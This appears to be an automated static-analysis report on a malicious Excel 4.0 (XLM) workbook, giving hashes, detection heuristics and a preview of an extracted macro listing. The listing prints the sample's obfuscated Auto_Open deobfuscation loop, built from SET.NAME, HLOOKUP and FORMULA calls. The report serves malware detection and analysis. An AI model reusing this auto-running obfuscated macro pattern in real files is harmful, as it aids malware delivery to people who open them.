Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f0ac86c990b749b3…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:28:19 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 868895d22a77783a0201c01d82f4091a SHA-1: 4c56087eedfe7fcb09f5ba82e5d4788095c71f84 SHA-256: f0ac86c990b749b3107de0d3fead0dfcd8299c0e02622d391c58f98cb9bc871b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6465 bytes
SHA-256: 43d23f00e94b044c4fc6d98b679373e8a82f6eba8a40787f9cc3986c2f49d6e2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kNueQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F139 
' 0018     23 LABEL : Cell Value, String Constant - aYeHmcqy len=0 
' 0018     27 LABEL : Cell Value, String Constant - bfuIJnVrKANn len=0 
' 0018     23 LABEL : Cell Value, String Constant - CeVODXuP len=0 
' 0018     22 LABEL : Cell Value, String Constant - DpwNSUm len=0 
' 0018     24 LABEL : Cell Value, String Constant - eIrLjViFz len=0 
' 0018     25 LABEL : Cell Value, String Constant - EmrtUyNYaH len=0 
' 0018     25 LABEL : Cell Value, String Constant - gCDHMdMrkP len=0 
' 0018     21 LABEL : Cell Value, String Constant - GLHBqg len=0 
' 0018     24 LABEL : Cell Value, String Constant - hkKJzaVCb len=0 
' 0018     23 LABEL : Cell Value, String Constant - LKykbYpK len=0 
' 0018     27 LABEL : Cell Value, String Constant - lMCrEhZRcpwD len=0 
' 0018     24 LABEL : Cell Value, String Constant - MZIaPzEqH len=0 
' 0018     26 LABEL : Cell Value, String Constant - NrvIRJLfDhZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - ntZPZSAq len=0 
' 0018     21 LABEL : Cell Value, String Constant - pDLnLB len=0 
' 0018     21 LABEL : Cell Value, String Constant - QFRIOr len=0 
' 0018     26 LABEL : Cell Value, String Constant - rykqKLZlTZV len=0 
' 0018     27 LABEL : Cell Value, String Constant - szLngAXYrjhb len=0 
' 0018     27 LABEL : Cell Value, String Constant - uMReFDYPSnCc len=0 
' 0018     26 LABEL : Cell Value, String Constant - uOPwvJDVLhJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kNueQ,F49,"SET.NAME("pDLnLB",VALUE("0"))",""
'  kNueQ,F53,"SET.NAME("DpwNSUm",pDLnLB)",""
'  kNueQ,F56,"SET.NAME("LKykbYpK",pDLnLB)",""
'  kNueQ,F58,"SET.NAME("CeVODXuP",COUNTA(gCDHMdMrkP))",""
'  kNueQ,F63,"SET.NAME("uMReFDYPSnCc",COUNTA(GLHBqg))",""
'  kNueQ,F68,[],""
'  kNueQ,F70,"SET.NAME("rykqKLZlTZV","")",""
'  kNueQ,F72,"DpwNSUm",""
'  kNueQ,F76,"SET.NAME("eIrLjViFz",HLOOKUP("*",gCDHMdMrkP,DpwNSUm,FALSE))",""
'  kNueQ,F79,"szLngAXYrjhb",""
'  kNueQ,F83,"SET.NAME("MZIaPzEqH",pDLnLB)",""
'  kNueQ,F88,[],""
'  kNueQ,F92,"MZIaPzEqH",""
'  kNueQ,F94,"QFRIOr",""
'  kNueQ,F97,"lMCrEhZRcpwD",""
'  kNueQ,F100,"bfuIJnVrKANn",""
'  kNueQ,F103,"SET.NAME("uOPwvJDVLhJ",VALUE(HLOOKUP("*",GLHBqg,bfuIJnVrKANn,FALSE)))",""
'  kNueQ,F106,"aYeHmcqy",""
'  kNueQ,F111,"rykqKLZlTZV",""
'  kNueQ,F113,"LKykbYpK",""
'  kNueQ,F118,NEXT(),""
'  kNueQ,F122,"hkKJzaVCb",""
'  kNueQ,F124,"SET.NAME("f",INT(T(FORMULA(T(rykqKLZlTZV)&"",""&T(hkKJzaVCb)))))",""
'  kNueQ,F128,"EmrtUyNYaH",""
'  kNueQ,F132,NEXT(),""
'  kNueQ,F137,RETURN(),""
'  kNueQ,F163,"SET.NAME("NrvIRJLfDhZ",F49)",""
'  kNueQ,F168,"gCDHMdMrkP",""
'  kNueQ,F173,"SET.NAME("GLHBqg",R49C11)",""
'  kNueQ,F176,"SET.NAME("EmrtUyNYaH",184)",""
'  kNueQ,F181,"SET.NAME("ntZPZSAq",6)",""
'  kNueQ,F183,NrvIRJLfDhZ(),""
'  kNueQ,F184,HALT(),""

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